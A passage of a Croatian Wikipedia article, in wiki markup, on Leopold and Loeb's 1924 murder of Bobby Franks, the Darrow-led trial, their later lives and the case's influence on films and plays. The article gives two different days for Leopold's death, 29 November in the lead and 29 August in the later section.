udar]] |roditelji = |bračni_drug = |djeca = |zanimanje = |alias = |motiv = počinjenje savršenog ubojstva |okrivljenje = ubojstvo i otmica Roberta Franksa |presuda = proglašen krivim ([[1924]].) |kazna = doživotni zatvor |status = preminuo }} {{Infokutija kriminalac |ime = Richard Loeb |slika = Richard Loeb.jpg |opis = Portret Richarda Loeba (c. [[1924]].) |širina_slike = |ime_po_rođenju = Richard Albert Loeb |datum_rođenja = [[11. 6.]] [[1905.]] |mjesto_rođenja = {{flagicon|SAD}} [[Chicago]], [[Illinois]], [[Sjedinjene Američke Države|SAD]] |datum_smrti = [[28. 1.]] [[1936.]] |mjesto_smrti = {{flagicon|SAD}} [[Joliet, Illinois|Joliet]], [[Illinois]], [[Sjedinjene Američke Države|SAD]] |uzrok = krvarenje uzrokovano napadom [[nož]]em |roditelji = |bračni_drug = |djeca = |zanimanje = |alias = |motiv = počinjenje savršenog ubojstva |okrivljenje = ubojstvo i otmica Roberta Franksa |presuda = proglašen krivim ([[1924]].) |kazna = doživotni zatvor |status = preminuo }} '''Nathan Freudenthal Leopold, Jr.''' ([[Chicago]], [[19. 11.]] [[1904.]] - [[Adjuntas]], [[29. 11.]] [[1971.]]) i '''Richard Albert Loeb''' ([[Chicago]], [[11. 6.]] [[1905.]] - [[Joliet, Illinois|Jolliet]], [[28. 1.]] [[1936.]]), poznatiji kao '''Leopold i Loeb''', bila su dvojica bogatih studenata [[Sveučilište u Chicagu|Sveučilišta u Chicagu]] koji su [[1924.]] godine ubili četrnaestogodišnjeg '''Roberta "Bobbyja" Franksa''', za što su osuđeni na [[doživotni zatvor]].<ref>[http://homicide.northwestern.edu/crimes/leopold1/ Homicide in Chicago 1924 Leopold & Loeb] {{Webarchive|url=https://web.archive.org/web/20120225133417/http://homicide.northwestern.edu/crimes/leopold1/ |date=2012-02-25 }} preuzeto 26.III. 2008.</ref> Motiv za ubojstvo maloga Franksa duo je pronašao u ideji počinjenja [[savršeni zločin|savršenog zločina]]. U trenutku hapšenja, Leopold i Loeb su za svog [[advokat|branitelja]] unajmili [[Clarence Darrow|Clarencea Darrowa]], jednog od najboljih [[sjedinjene Američke Države|američkih]] branitelja. Darrowljeva završna riječ na suđenju ušla je u povijest zbog kritike [[smrtna kazna|smrtne kazne]] i [[Osvetnička pravda|osvetničke]], u odnosu na [[Rehabilitacijska pravda|rehabilitacijsku]] pravdu. Leopold i Loeb bili su inspiracije za velik broj fiktivnih djela, među kojima je svakako najzvučnija drama [[Patrick Hamilton|Patricka Hamiltona]] ''[[Rope (drama)|Rope]]'' iz [[1929]]. te [[Rope (film)|istoimeni film]] [[Alfred Hitchcock|Alfreda Hitchcocka]] iz [[1948]]. godine s [[James Stewart|Jamesom Stewartom]] u glavnoj ulozi. == Rani životi == I Leopold i Loeb su bili izrazito inteligentni. Leopold je bio [[wunderkind]] koji je svoje prve riječi izgovorio sa samo četiri mjeseca, a navodno je imao [[IQ|kvocijent inteligencije]] od čak 210,<ref name="Bio">[http://www.biography.com/notorious/crimefiles.do?action=view&profileId=262929&catId=259455 The Biography Channel] {{Webarchive|url=https://web.archive.org/web/20110728083756/http://www.biography.com/notorious/crimefiles.do?action=view&profileId=262929&catId=259455 |date=2011-07-28 }} "Notorious Crime Profiles: Leopold and Loeb, Partners in Crime", prikupljeno 5.I. 2009.</ref> mada su ti rezultati teško usporedivi sa suvremenim sustavima mjerenja.<ref name="Perleth Schatz Mönks page 301">{{Cite book|last1=Perleth |first1=Christoph |last2=Schatz |first2=Tanja |last3=Mönks |first3=Franz J. |title=International Handbook of Giftedness and Talent |url=https://archive.org/details/internationalhan02edunse |editor1-last=Heller |editor1-first=Kurt A. |editor2-last=Mönks |editor2-first=Franz J. |editor3-last=Sternberg |editor3-first=Robert J. |editor4-last=Subotnik |editor4-first=Rena F. |edition=2. |year=2000 |publisher=Pergamon |location=Amsterdam |isbn=978-0-08-043796-5 |page=[https://archive.org/details/internationalhan02edunse/page/301 301] |chapter=Early Identification of High Ability |editor3-link=Robert Sternberg }}</ref> Nakon što je završio koledž, Leopold je vrlo rano postao student [[pravo|prava]] na [[Sveučilište u Chicagu|Sveučilištu u Chicagu]].<ref name="Linder" /> Za sebe je govorio kako tečno može govoriti čak 27 jezika,<ref name="Freedom">[http://www.crimelibrary.com/notorious_murders/famous/loeb/7c.html Crime Library - "Freedom"] {{Webarchive|url=https://web.archive.org/web/20070401111735/http://www.crimelibrary.com/notorious_murders/famous/loeb/7c.html |date=2007-04-01 }} by Marilyn Bardsley. Crime Library&nbsp;— Courtroom Television Network, LLC. prikupljeno 11.IV. 2007.</ref> i bio je stručnjak za [[ornitologija|ornitologiju]]. Loeb je bio najmlađi diplomac [[Sveučilište Michigan|Sveučilišta Michigan]] te je planirao upisati pravo nakon nekoliko postdiplomskih studija.<ref name="Linder" /> Nakon jednog putovanja kroz [[Evropa|Europu]], Leopold se planirao prebaciti na [[Univerzitet Harvard|Harvard]]. Obitelji Leopold, Loeb i Franks živjele su u predgrađu [[Kenwood]], nekih šest milja od centra [[Chicago|Chicaga]]. Loebov otac, Albert, započeo je karijeru kao [[advokat|odvjetnik]] da bi postao potpredsjednik kompanije [[Sears and Roebuck]]. Osim vlasništva nad luksuznom vilom u Kenwoodu, dvije ulice od Leopoldovih, Loebovi su bili vlasnici i ljetnikovca [[Castle Farms]] u [[Charlevoix, Michigan|Charlevoixu]]. Leopold i Loeb su se kao tinejdžeri upoznali na Sveučilištu u Chicagu. Leopold je pristao biti Loebov pomagać.<ref name="Noe">[http://crimemagazine.com/04/leopoldloeb,0229.htm Leopold and Loeb's Perfect Crime by Denise Noe] {{Webarchive|url=https://web.archive.org/web/20100407030458/http://www.crimemagazine.com/04/leopoldloeb,0229.htm |date=2010-04-07 }}. prikupljeno 4.XI. 2007.</ref> Duo je započeo sa sitnim krađama, ali je s vremenom pojačavao intenzitet kaznenih djela, koja su, u konačnici, kulminirala [[ubistvo|ubojstvom]].<ref name="Linder" /> U vrijeme ubojstva, Leopold je imao 19, a Loeb 18 godina. Sebe su smatrali [[Friedrich Nietzsche|ničeanskim]] [[Nadčovjek|nadljudima]] koji mogu počiniti savršen zločin (u ovom slučaju [[otmica]] s [[ubistvo|ubojstvom]]).<ref name="Linder">[http://www.law.umkc.edu/faculty/projects/ftrials/leoploeb/Accountoftrial.html The Leopold and Loeb Trial:A Brief Account] {{Webarchive|url=https://web.archive.org/web/20070315203922/http://www.law.umkc.edu/faculty/projects/ftrials/leoploeb/Accountoftrial.html |date=2007-03-15 }} by Douglas O. Linder. 1997. prikupljeno 11.IV. 2007.</ref> Prije ubojstva, Leopold je napisao Loebu: ''"Nadčovjek je... na temelju nekih njemu pripadajućih kvaliteta, izuzet iz običnih zakona koji upravljaju ljudima. On nije odgovoran za bilo što što bi mogao učiniti."''<ref>Simon Baatz, ''For the Thrill of It''. New York: Harper, 2008.</ref> == Ubojstvo Roberta Franksa == [[Datoteka:Bundesarchiv Bild 102-00651A, Robert Franks mit Vater.jpg|thumb|left|220px|Robert Franks (lijevo) s ocem Jacobom (desno) snimljen [[1920.]] godine, četiri godine prije ubojstva.]] Leopold i Loeb su čak sedam mjeseci radili na planiranju ubojstva, uklanjanja trupla i preuzimanju otkupnine s minimalnim ili bez ikakvog rizika da ih se uhvati.<ref name=leopold-statement>[http://homicide.northwestern.edu/docs_fk/homicide/5866/LeopoldStatement.pdf Statement of Nathan F. Leopold] Northwestern University prikupljeno 30.X. 2007.</ref> Svoj plan su započeli ostvarivati u srijedu, [[21. 5.|21. svibnja]] [[1924]]. godine. Nakon potrage, za žrtvu su konačno odabrali Roberta Franksa, sina [[chicago|čikaškog]] milionera Jacoba Franksa. Kasniji [[Hollywood|holivudski]] producent [[Armand Deutsch]], koji je tada bio jedanaestogodišnjak, unuk [[Julius Rosenwald|Juliusa Rosenwalda]], bogatog trgovca odjećom i tkaninom, kasnije je rekao kako je on bio jedna od potencijalnih žrtava Leopolda i Loeba. Ipak, na dan ubojstva, iz škole ga je pokupio obiteljski šofer jer je imao dogovoreni pregled kod [[zubar]]a. Deutsch je umro [[13. 8.|13. kolovoza]] [[2005]]. u dobi od 92 godine.<ref>{{cite web|url=http://www.newyorksocialdiary.com/list/im/119im.php|title=New York Social Diary|accessdate=8.VII. 2008}}</ref><ref>{{cite news|url=http://www.nytimes.com/2005/08/18/arts/18deutsch.html|title=Armand S. Deutsch, Hollywood fixture, dies at 92|author=Purdum, Todd S.|authorlink=Todd Purdum|newspaper=[[The New York Times]]|date = 18. 8. 2005.|accessdate=20.VIII. 2010}}</ref> Dok se Franks vraćao kući iz srednje škole Harvard (zatvorene [[1962]].) kroz čikaški [[Hyde Park, Chicago|Hyde Park]], Leopold i Loeb su četrnaestogodišnjaka, koji je bio njihov susjed i Loebov drugi rođak, namamili na suvozačevo sjedalo unajmljenog automobila. S dječakom u automobilu, jeda od njih je vozio dok je drugi otišao na stražnje sjedalo naurožan [[dleto|dlijetom]]. Nije poznato tko je zadao prvi udarac s oružjem.<ref name=loeb-statement>[http://homicide.northwestern.edu/docs_fk/homicide/5866/LoebStatement.pdf Statement of Richard Loeb] Northwestern University preuzeto 30.X. 2007.</ref> U dječakova su usta ugurali čarapu kako bi bio tih i onda nastavili s napadom dok ga nisu ubili. Usprkos brojnim govorkanjima kako je Franks i seksualno zlostavljan, sudac je, na temelju dokaza, zaključio kako seksualnog zlostavljanja ipak nije bilo.<ref>Leopold, Loeb & The Crime of the Century, str. 265</ref> Ubojice su prekrile tijelo i odvezli se do udaljenog [[Jezero Wolf|jezera Wolf]] u mjestu [[Hammond, Indiana|Hammond]], [[Indiana]]. Svukli su Franksa i odjeću mu ostavili pokraj ceste. Tada su tijelo polili [[hlorovodonična kiselina|klorovodičnom kiselinom]]<ref>[http://www.crimelibrary.com/notorious_murders/famous/loeb/darrow_4.html Crime Library&nbsp;– Enter Clarence Darrow]. preuzeto 26.III. 2008.</ref> kako bi otežali identifikaciju. Nakon toga su večerali [[hot dog]], što su ga kupili na štandu. Nakon jela, sakrili su tijelo u odvodnu cijev u blizini [[Pennsylvanijska željeznica|Pennsylvanijske željeznice]] kraj 118. ulice, sjeverno od jezera Wolf. Po povratku u Chicago, nazvali su Franksovu majku i rekli kako joj je sin otet. Pismo s otkupninom su poslali poštom na adresu Franksovih. Nakon toga su spalili dijelove vlastite odjeće koji su bili prekriveni krvlju. Također su pokušali ukloniti krv s unajmljenog automobila. Ostatak popodneva su proveli igrajući karte. Prije nego su Franksovi platili otkupninu, Tony Minke, [[poljaci|poljski imigrant]], otkrio je tijelo.<ref name="leopold-statement" /><ref name="loeb-statement" /> Kada su Leopold i Loeb saznali da je tijelo otkriveno, uništili su pisaću mašinu kojom je napisano pismo i zapalili plahtu kojom je tijelo bilo prekriveno.<ref name="leopold-statement" /><ref name="loeb-statement" /> Ipak, dok je [[detektiv]] Hugh Patrick Byrne tražio dokaze, kraj trupla je pronašao [[naočale]], koje su bile potpuno uobičajene uz izuzetak specifičnog mehanizma. U cijelom Chicagu, samo su tri osobe kupile takve naočale, a među njima je bio i Nathan Leopold.<ref>[http://www.law.umkc.edu/faculty/projects/ftrials/leoploeb/LEO_GLAS.HTM The Glasses: The Key Link to Leopold and Loeb] {{Webarchive|url=https://web.archive.org/web/20070505070223/http://www.law.umkc.edu/faculty/projects/ftrials/leoploeb/LEO_GLAS.HTM |date=2007-05-05 }} UMKC Law. Preuzeto 11.IV. 2007.</ref> Tijekom ispitivanja, Leopold je policiji rekao da je naočale izgubio tijekom promatranja ptica.<ref>[[Chicago Daily News]], 2.VI. 1924</ref> Loeb je policiji rekao da je Leopold bio s njim u noći ubojstva. Njih su dvojica rekli kako su, u Leopoldovom automobilu, pokupili dvije cure i ostavili ih kod igrališta za [[golf]] bez da su saznali njihova prezimena. Ipak, Leopoldov šofer je tog dana popravljao njegov automobil te je šoferova supruga potvrdila da je automobil tu noć bio u garaži. [[Datoteka:Leopold and Loeb's ransom note for Bobby Franks.jpg|frame|Poruka Leopolda i Loeba kojom su tražili otkupninu od Franksovih.]] Tijekom ispitivanja, njihov [[alibi]] se raspao. Prvi je priznao Loeb, a onda i Leopold.<ref>[[Chicago Daily News]], 10.IX. 1924, str.3</ref> Mada je priznanje gotovo u cijelosti potvrdilo činjenice, obojica su se međusobno optužila za samo ubojstvo.<ref name="leopold-statement" /><ref name="loeb-statement" /> Većina analitičara, ipak, tvrdi kako je Loeb zadao fatalni udarac Franksu.<ref name="Noe" /> Ipak, nikada nije dokazano koji je od njih nosio oružje kojim je ubijen Franks. [[Psihijatrija|Psihijatrijski]] vještaci na suđenju, impresionirani Leopoldovom inteligencijom, složili su se kako je Loeb ubio Franksa. Ipak, dokazi iznešeni tijekom suđenja, kao i svjedočenje Carla Ulvigha (koji je vidio Loeba kako vozi, a Leopolda na stražnjem sjedalu, samo nekoliko minuta prije otmice), upućivali su na to da je Leopold ipak bio taj koji je ubio Franksa.<ref>Leopold, Loeb & The Crime of the Century - Hal Higdon, str. 319</ref> Otkupnina nije bila njihov primarni motiv; ipak su njihove obitelji imale dovoljno novca da zadovolje sve njihove potrebe. Obojica su priznala kako je glavni motiv za ubojstvo bila [[Ubojstvo iz zabave|zabava]] (''thrill killing'') kombinirana sa željom počinjenja savršenog zločina.<ref name="Linder"/> == Suđenje == [[Datoteka:Clarence Darrow cph.3b31130.jpg|thumb|left|220px|[[Clarence Darrow]] je vrhunac svoje karijere doživio upravo kao branitelj Leopolda i Loeba.]] Suđenje je bilo medijski spektakl. Proces je održan u zgradi [[Courthouse Place]]a te je bio jedan od prvih sudskih procesa nazvanih "[[Suđenje stoljeća|Suđenjem stoljeća]]".<ref>[http://jurist.law.pitt.edu/trials5.htm JURIST - The Trial of Leopold and Loeb] {{Webarchive|url=https://web.archive.org/web/20101103143040/http://www.jurist.law.pitt.edu/trials5.htm |date=2010-11-03 }}, Prof. Douglas Linder. Prikupljeno 1.XI. 2007.</ref> Loebova obitelj unajmila je tada šezdesetsedmogodišnjeg [[Clarence Darrow|Clarencea Darrowa]], poznatog oponenta [[smrtna kazna|smrtne kazne]], da brani dvojicu mladića od uptužbi za ubojstvo i otmicu.<ref name=geis>Gilbert Geis and Leigh B. Bienen, Crimes of the Century (Boston, 1998).</ref> Dok su mediji špekulirali kako će Leopold i Loeb koristiti [[Obarana neuračunljivošću|obranu neuračunljivošću]], Darrow je svoje klijente savjetovao da priznaju krivnju i tako izbjegnu suđenje pred [[porota|porotom]], što bi, po njegovom mišljenju, zasigurno rezultiralo osuđujućom presudom, a vjerojatno i smrtnom kaznom.<ref name="geis" /> Predmet je na [[Okrug Cook, Illinois|okružnom sudu]] u [[Illinois]]u saslušao okružni sudac [[John R. Caverly]]. Tijekom poludnevnog saslušanja posljednjega dana suđenja, Darrow je održao završnu riječ koja se smatra najboljom u njegovoj karijeri.<ref>[http://law2.umkc.edu/faculty/projects/ftrials/leoploeb/leopold.htm -The Clarence Darrow Home Page, The Leopold and Loeb Trial Home Page] {{Webarchive|url=https://web.archive.org/web/20181011050511/http://law2.umkc.edu/faculty/projects/ftrials/leoploeb/leopold.htm |date=2018-10-11 }}, Prof. Douglas Linder. Preuzeto 7.III. 2012.</ref> U završnoj riječi izrekao je, između ostalog i ovo: ''"Ovaj stravičan zločin bio je sastavni dio njegova organizma i potekao je od nekog pretka... Može li se netko smatrati krivim što je ozbiljno shvatio [[Friedrich Nietzsche|Nietzscheovu]] filozofiju i svoj život krojio po njoj?... Sumnjam da je pravedno objesiti devetnaestogodišnjeg dječaka zbog filozofije koja mu je predavana na sveučilištu."''<ref name="scopes">John Thomas Scopes, ''World's greatest court trial''. Cincinnati : National Book Co., 1925, str. 178-179, 182.</ref> Na koncu, Darrow je uspio. Sudac je i Leopolda i Loeba osudio na [[doživotni zatvor]] zbog ubojstva i svakog na 99 godina zbog otmice.<ref name="geis" /> Pravni temelj za ovo bila je njihova dob, s obzirom da su i Leopold i Loeb, koji su imali manje od 21 godine, pravno maloljetni. == Zatvor i kasniji život == [[Datoteka:Bundesarchiv Bild 102-12794, Nathan Leopold und Richard Loeb.jpg|thumb|right|200px|Zatvorske slike Leopolda i Loeba]][[Datoteka:Bundesarchiv Bild 102-10970, USA, Nathan Leopold in Stateville Penitentiary.jpg|thumb|Nathan Leopold u zatvoru, 1931.]] Iako su izvorno smješteni u [[zatvor Joilet]], Leopold i Loeb su prebačeni u [[Popravni centar Stateville|kaznionicu Stateville]] gdje su držali nastavu u zatvorskoj školi.<ref name="prison">[http://www.crimelibrary.com/notorious_murders/famous/loeb/7b.html Life & Death In Prison] {{Webarchive|url=https://web.archive.org/web/20070330225758/http://www.crimelibrary.com/notorious_murders/famous/loeb/7b.html |date=2007-03-30 }} by Marilyn Bardsley. Crime Library&nbsp;— Courtroom Television Network, LLC. Preuzeto 11.IV. 2007.</ref> Dana [[28. 1.|28. siječnja]] [[1936]]., zatvorenik James E. Day napao je Loeba [[britva|britvom]] tijekom tuširanja, nakon čega je ovaj umro.<ref name="Linder" /><ref name="prison" /> Day je kasnije rekao kako ga je Loeb pokušao [[seksualno napastvovanje|seksualno napastvovati]]. Day je iz borbe izašao neozlijeđen, dok je Loeb zadobio više od 50 rana, uključujući brojne samoobrambene rane na rukama. Također, Loeb je imao ozljedu na stražnjoj strani vrata.<ref>''Leopold, Loeb & The Crime of the Century'' - Hal Higdon, str. 295</ref> Ipak, interno ispitivanje prihvatilo je Dayjevu verziju priče. Zatvorski službenici su, osramoćeni javnim senzacionaliziranjem navodne zatvorske dekadencije,<ref>Leopold, Loeb & The Crime of the Century, str. 301</ref> prihvatili da je Day napao Loeba u samoobrani.<ref name="Linder" /><ref name="prison" /> Prema jednom naširoko citiranom izvještaju, novinar Ed Lahey ovako je napisao za ''[[Chicago Daily News]]'': ''"Richard Loeb je, usprkos svojoj [[erudicija|učenosti]], svoju kaznu završio propozicijom."''<ref>{{cite web |url=http://www.poynter.org/dg.lts/id.1/aid.5324/column.htm |title=Ask Dr. Ink |author=Dr. Ink |date = 23. 8. 2002. |publisher=Poynter Online }}</ref><ref>{{Cite book | publisher=Follett Pub. Co | last = Murray | first = Jesse George | title = The madhouse on Madison Street, | url=https://archive.org/details/madhouseonmadiso0000geor | year = 1965 | page =[https://archive.org/details/madhouseonmadiso0000geor/page/344 344] }}</ref> Stvarni motiv za Loebovo ubojstvo bio je, izgleda, novac. I Leopold i Loeb su u zatvoru dobivali izdašne džeparce kojima su sebi i drugim zatvorenicima kupovali [[duhan]] i ostale potrepštine. Nakon što je upravitelj reducirao sve džeparce na tek nekoliko [[američki dolar|dolara]] mjesečno, Day, koji je bio u istoj ćeliji kao i Loeb, zahtijevao je istu količinu darova kao i ranije, što mu Loeb nije mogao priuštiti.<ref>Leopold, Loeb & The Crime of the Century - Hal Higdon, str. 292</ref> Ne postoje dokazi da je Richard Loeb u zatvoru bio seksualni predator; ipak, njegov ubojica je kasnije, u barem jednom navratu, uhvaćen u seksualnom odnosu s drugim zatvorenikom<ref>Leopold, Loeb & The Crime of the Century, str. 302</ref> kao i u raznoraznim drugim istupima. U autobiografiji naslovljenoj ''Life Plus 99 Years'', Leopold je Dayjeve tvrdnje da ga je Loeb pokušao silovati nazvao ridikuloznima i smiješnima. Ovo je prisutno i u intervjuu sa zatvorskim kapelanom, ocem Eligiusom Weirom, koji je bio Loebov osobni ispovjednik. Weir je izjavio kako je zapravo Day bio seksualni predator i kako je napao Loeba jer ovaj nije htio imati odnos s njim.<ref>Leopold, Loeb & The Crime of the Century, pg 293</ref> Godine [[1944]]., Leopold je pristao sudjelovati u zatvorskoj studiji [[malarija|malarije]] te je volontirao da bude inficiran tom bolešću.<ref>Leopold, Nathan F., Jr. ''Life Plus 99 Years.'' Lowe and Brydone (Printers) Limited, 1958.</ref> Početkom [[1958]]., nakon 33 godine provedene u zatvoru, Leopold je pušten na [[uvjetna sloboda|uvjetnu slobodu]].<ref name="Linder" /><ref name="Freedom" /> U travnju iste godine utemeljio je Fundaciju Leopold kako bi "pomogao emocionalno nestabilnoj, retardiranoj ili delikventnoj mladeži",<ref>Daily Defender; 29.V. 1958; str. 9</ref> a koju je financirao novcem zarađenim na autobiografiji ''Life Puls 99 Years''.<ref name="Linder" /><ref name="Freedom" /><ref>''Life Plus 99 Years''. Uvod. Napisali Erle Stanley Gardner i Leopold, Nathan Freudenthal. Izdavač: Garden City, N.Y., Doubleday, 1958.</ref> Ipak, već u srpnju, [[Illinois|službeni Illinois]] je poništio njegovo ime za fundaciju jer je to bilo kršenje uvjetne slobode.<ref>Chicago Daily Tribune, 16.VII. 1958 str. 23</ref> Leopold se preselio na [[Portoriko]] gdje je oženio cvjećarku-udovicu.<ref name="Linder" /><ref name="Freedom" /> Susjedi i kolege u Općoj bolnici Castañer u [[Adjuntasu]], gdje je radio kao laboratorijski i [[rendgen]]ski asistent, zvali su ga '''Nate'''.<ref name="e-mailed comment">[http://www.law.umkc.edu/faculty/projects/ftrials/leoploeb/leopoldemail.html e-mailed comment] {{Webarchive|url=https://web.archive.org/web/20110203141623/http://www.law.umkc.edu/faculty/projects/ftrials/leoploeb/leopoldemail.html |date=2011-02-03 }} at www.law.umkc.edu</ref> Tijekom ovog razdoblja, bio je aktivni član Prirodnopovijesnog društva Portorika te je intenzivno putovao otokom kako bi proučavao ptice. Godine [[1963]]. izdao je Popis ptica Portorika i Djevičanskih otoka. U jednoj fazi nakon puštanja iz zatvora, Leopold je imao ideju napisati knjigu pod naslovom ''Snatch for a Halo'', o svom životu poslije zatvora. Ipak, nikada nije učinio nešto takvo. Kasnije je pokušao spriječiti film ''[[Compulsion (film)|Compulsion]]'' na temelju [[zakon o privatnosti|invazije privatnosti]], [[defamacija|defamacije]] i neosnovanog bogaćenja na njegovoj životnoj priči.<ref name="e-mailed comment"/> Umro je [[29. 8.|29. kolovoza]] [[1971]]. od [[srčani udar|srčanog udara]] povezanog s [[dijabetes]]om u dobi od 66 godina.<ref name="Linder" /><ref name="Freedom" /> Njegove [[rožnica|rožnice]] su kasnije donirane.<ref name="Linder" /> == Leopold i Loeb u popularnoj kulturi == [[Datoteka:Bundesarchiv Bild 102-00652, Richard Loeb und Nathan Leopold.jpg|thumb|left|320px|Leopold (desno) i Loeb (lijevo) na forografiji iz [[1924]]. godine.]] Priča Leopolda i Loeba bila je inspiracija za brojna književna, kazališna i filmska djela. Među prvima, a svakako i najzvučnijima je [[drama]] ''[[Rope (drama)|Rope]]'' [[Patrick Hamilton|Patricka Hamiltona]], koja je služila kao temelj [[BBC]]-jeve TV izvedbe iz [[1939]].,<ref>http://www.imdb.com/title/tt0418111</ref> te [[Rope (film)|istoimeni triler]] [[Alfred Hitchcock|Alfreda Hitchcocka]] iz [[1948]]. sa [[James Stewart|Jamesom Stewartom]]. Godine [[1956]]., [[Meyer Levin]] je u romanu ''Compulsion'' obradio slučaj tako što je predočio fiktivnu verziju događaja, a imena likova promijenio u Steiner i Strauss. Tri godine kasnije, roman je ekraniziran u istoimeni film, ''[[Compulsion (film)|Compulsion]]''. Godine [[1988]]., [[John Logan]] napisao je ''[[Never the Sinner]]'', kazališnu verziju suđenja Leopoldu i Loebu. [[Richard Wright]] je [[1940]]. godine napisao roman ''[[Native Son]]'', djelomično smješten u istoj kenvudskoj četvrti [[Chicago|Chicaga]], koji se bavi Biggerom Thomasom, koji, sjećajući se Leopolda i Loeba, šalje pismo za otkupninu bogatoj obitelji za njihovu kćer koju je ranije udavio, što je rizik koji, ultimativno, dovodi do njegova hapšenja. Zaključak romana, koji se bavi pokušajima Biggerova komunističkog odvjetnika da ga oslobodi smrtne kazne, vjerojatno je temeljen na završnoj riječi Clarencea Darrowa. Među ostalim djelima inspiriranim slučajem ističu se nezavisni film ''[[Swoon]]'' iz [[1992]]., u kojem se režiser [[Tom Kalin]] malo otvorenije bavi homoseksualnom tematikom; [[psihološki triler]] ''[[Funny Games (1997)|Funny Games]]'' [[Michael Haneke|Michaela Hanekea]] iz [[1997]]., kao i [[Funny Games (2008)|istoimeni remake]] iz [[2008]]. s [[Naomi Watts]] i [[Tim Roth|Timom Rothom]]; hit triler ''[[Kiss the Girls (film)|Kiss the Girls]]'' iz [[1997]]. s [[Morgan Freeman|Morganom Freemanom]] i [[Ashley Judd]] temeljen na [[Kiss the Girls|istoimenom bestselleru]] [[James Patterson|Jamesa Pattersona]]; triler ''[[Murder By Numbers|Murder by Numbers]]'' iz [[2002]]. sa [[Sandra Bullock|Sandrom Bullock]] u režiji [[Barbet Schroeder]]; te [[mjuzikl]] ''[[Thrill Me: The Leopold and Loeb Story]]'' [[Stephen Dolginoff|Stephena Dolginoffa]] iz [[2005]]. godine. Također, ovaj slučaj bio je temelj za nekolicinu televizijskih epizoda raznih serija, a dosta često su rađene reference na isti tijekom epizoda (''[[Law & Order: Special Victims Unit]]'', ''[[Law & Order]]''). Nathan Leopold, Jr. se pojavljuje kao lik u komediji ''The Agony & The Agony'' [[Nicky Silver|Nickyja Silvera]], iako je radnja smještena u [[2006]]. godini. Također, Leopold i Loeb su dva puta spomenuti u seriji ''[[Gilmore Girls]]''. Prvi put bilo je tijekom prve sezone, u epizodi "Star-Crossed Lovers and Other Strangers", kada je Lorelei imala spoj naslijepo s čovjekom koji je kao dijete imao dva [[doberman]]a po imenu Leopold i Loeb. Drugi put bilo je u trećoj sezoni, epizoda "Those Lay-Hazy-Crazy Days", kada je Lorelei sanjala da će imati blizance i nazvati ih Leopold i Loeb. Ovaj slučaj također je prisutan i u crtanom romanu ''[[Ice Haven]]'' [[Daniel Clowes|Daniela Clowesa]] iz [[2005]]. godine, koji uključuje kratku priču o Leopoldu i Loebu kao i brojne reference na slučaj u drugim pričama. U trećoj epizodi druge sezone serije ''[[Mad Men]]'', Donald Draper podlo nazove dvojicu kolega Leopoldom i Loebom. Također, govor Clarencea Darrowa spomenut je u dva navrata u seriji ''[[The Practice]]'', tijekom šeste i sedme sezone. == Reference == {{reflist|2}} == Izvori == * Leopold, Nathan F. ''Life plus 99 Years'', 1958 (uvod napisao [[Erle Stanley Gardner]]) * Baatz, Simon. ''For the Thrill of It: Leopold, Loeb and the Murder that Shocked Chicago'' (HarperCollins, 2008). * Baatz, Simon. "Criminal Minds", ''Smithsonian Magazine'' 39 (kolovoz 2008): 70-79. * Higdon, Hal. ''Leopold and Loeb: The Crime of the Century'', [[University of Illinois Press]], 1999. (izvorno tiskano 1975) {{ISBN|0-252-06829-7}} * [[Tom Kalin|Kalin, Tom (režiser)]], ''[[Swoon (film)|Swoon]]''. Film, 1990 * [[Meyer Levin|Levin, Meyer]]. ''Compulsion'', Carroll & Graf Publishers, 1996. (izvorno tiskano 1956). {{ISBN|0-7867-0319-9}} * [[John Logan (pisac)|Logan, John (pisac)]], ''Never the Sinner'' (drama), Samuel French, Inc., 1987 * [[John Saul|Saul, John (pisac)]]. ''[[In The Dark of The Night (roman)|In the Dark of the Night]]'', 2006 {{ISBN|0-345-48701-X}} * [[Stephen Dolginoff|Dolginoff, Stephen (pisac/kompozitor)]]. ''[[Thrill Me|Thrill Me: The Leopold & Loeb Story]]'' (mjuzikl, izdavač [[Dramatists Play Service]]) {{ISBN|0-8222-2102-0}} * Galluzzo, Mark Anthony (režiser). ''[[R.S.V.P. (film)|R.S.V.P.]]'' Film, 2002 * [[Kurt Vonnegut|Vonnegut, Kurt (pisac)]]. "[[Jailbird (roman)|Jailbird]]" (str. 171) Izdavač: [[Delacorte Press]]/Seymour Lawrence {{ISBN|0-440-05449-4}} * ''[[The Sopranos]]'' (sezona 1, epizoda 7) Distributer serije: [[HBO Pictures]] * "[[Yesterday (Law & Order: Criminal Intent)|Yesterday]]" (sezona 1, epizoda 18), ''[[Law & Order: Criminal Intent]]''. Scenarij: Rene Balcer i Theresa Rebeck. Uloge: [[Vincent D'Onofrio]], [[Kathryn Erbe]], [[Jamey Sheridan]], [[Courtney B. Vance]], [[Jim True-Frost]], [[Danton Stone]]. [[NBC]]. [[WNBC]], New York City. 14. travnja 2002 * [[Yoshimitsu Morita|Morita, Yoshimitsu (režiser)]]. ''[[Copycat Killer]]''. Film, 2002 * Leopold, N.F. 1963. Checklist of the Birds of Puerto Rico and the Virgin Islands. University of Puerto Rico, Rio Piedras. == Vanjske veze == {{Commonscat|Leopold and Loeb}} * [http://www.law.umkc.edu/faculty/projects/ftrials/leoploeb/leopold.htm Leopold and Loeb Trial Home Page] {{Webarchive|url=https://web.archive.org/web/20110209114409/http://www.law.umkc.edu/faculty/projects/ftrials/leoploeb/LEOPOLD.HTM |date=2011-02-09 }} by Douglas Linder. Famous American Trials&nbsp;— Illinois v. Nathan Leopold and Richard Loeb. University of Missouri at Kansas City Law School. 1997. Retrieved September 14, 2008. * [http://www.crimelibrary.com/loeb/loeb/loebmain.htm Nathan Leopold and Richard Loeb, Crime of the 20th Century] {{Webarchive|url=https://web.archive.org/web/20021201081033/http://crimelibrary.com/loeb/loeb/loebmain.htm |date=2002-12-01 }} by Marilyn Bardsley. Crime Library&nbsp;— Courtroom Television Network, LLC. Retrieved April 11, 2007. * [http://homicide.northwestern.edu/crimes/leopold Northwestern University Archives] * [http://www.leopoldandloeb.com leopoldandloeb.com] {{Webarchive|url=https://web.archive.org/web/20090118234427/http://www.leopoldandloeb.com/ |date=2009-01-18 }} * [http://www.thrillmethemusical.com ''Thrill Me:The Leopold and Loeb Story''] {{Webarchive|url=https://web.archive.org/web/20210126031041/http://www.thrillmethemusical.com/ |date=2021-01-26 }} - main site/CD ordering * [http://www.yorktheatre.org/ThrillReview.htm ''Thrill Me:The Leopold and Loeb Story'' Review quotes] {{Webarchive|url=https://web.archive.org/web/20051124204759/http://www.yorktheatre.org/ThrillReview.htm |date=2005-11-24 }} from York Theatre Company * 